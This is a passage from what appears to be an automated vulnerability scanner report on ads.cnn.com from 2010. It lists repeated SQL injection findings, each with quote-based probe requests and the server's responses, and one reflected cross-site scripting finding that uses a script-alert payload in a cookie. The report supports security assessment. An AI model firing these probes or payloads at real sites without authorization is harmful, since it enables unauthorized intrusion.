Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=463267&FlightID=337929&TargetID=76640&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,15477,16113,17251,18517,18871,18982,20139,30220,31069,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,80830,103069,76640&Values=43,60,80,101,1266,1588,2684,2746,4444,52897,55979,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=TIELID,1570051619821&random=csomnNm,bgnocyIgragzr

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=463267&FlightID=337929&TargetID=76640&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,15477,16113,17251,18517,18871,18982,20139,30220,31069,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,80830,103069,76640&Values=43,60,80,101,1266,1588,2684,2746,4444,52897,55979,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=TIELID,1570051619821&random=csomnNm,bgnocyIgragzr HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:07:40 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=463267&FlightID=337929&TargetID=76640&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,15477,16113,17251,18517,18871,18982,20139,30220,31069,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,80830,103069,76640&Values=43,60,80,101,1266,1588,2684,2746,4444,52897,55979,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=TIELID,1570051619821&random=csomnNm,bgnocyIgragzr HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:07:40 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:07:40 GMT
Connection: close
Content-Type: text/html


1.15. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bqofkmf,bgnocyWtpqza [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bqofkmf,bgnocyWtpqza

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bqofkmf,bgnocyWtpqza HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=510316
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:03:11 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bqofkmf,bgnocyWtpqza HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=510316
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:03:11 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:03:11 GMT
Content-Type: text/html


1.16. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bqofkmf,bgnocyWtpqza [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bqofkmf,bgnocyWtpqza

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bqofkmf,bgnocyWtpqza HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:07:58 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bqofkmf,bgnocyWtpqza HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:07:58 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:07:58 GMT
Connection: close
Content-Type: text/html


1.17. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bcpndoh,bgnocyWtpqyt [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bcpndoh,bgnocyWtpqyt

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bcpndoh,bgnocyWtpqyt HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=132300
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2; SelectedEdition=www; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:04:40 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bcpndoh,bgnocyWtpqyt HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=132300
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2; SelectedEdition=www; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:04:40 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:04:40 GMT
Content-Type: text/html


1.18. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bcpndoh,bgnocyWtpqyt [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bcpndoh,bgnocyWtpqyt

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bcpndoh,bgnocyWtpqyt HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:07:56 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bcpndoh,bgnocyWtpqyt HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:07:56 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:07:56 GMT
Connection: close
Content-Type: text/html


2. Cross-site scripting (reflected)  previous
There are 28 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=1x1_top&cnn_rollup=technology¶ms.styles=fs_interstitial [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=1x1_top&cnn_rollup=technology&params.styles=fs_interstitial

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 565be"><script>alert(1)</script>0a4d34969c6 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=1x1_top&cnn_rollup=technology&params.styles=fs_interstitial HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2565be"><script>alert(1)</script>0a4d34969c6; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:06:47 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
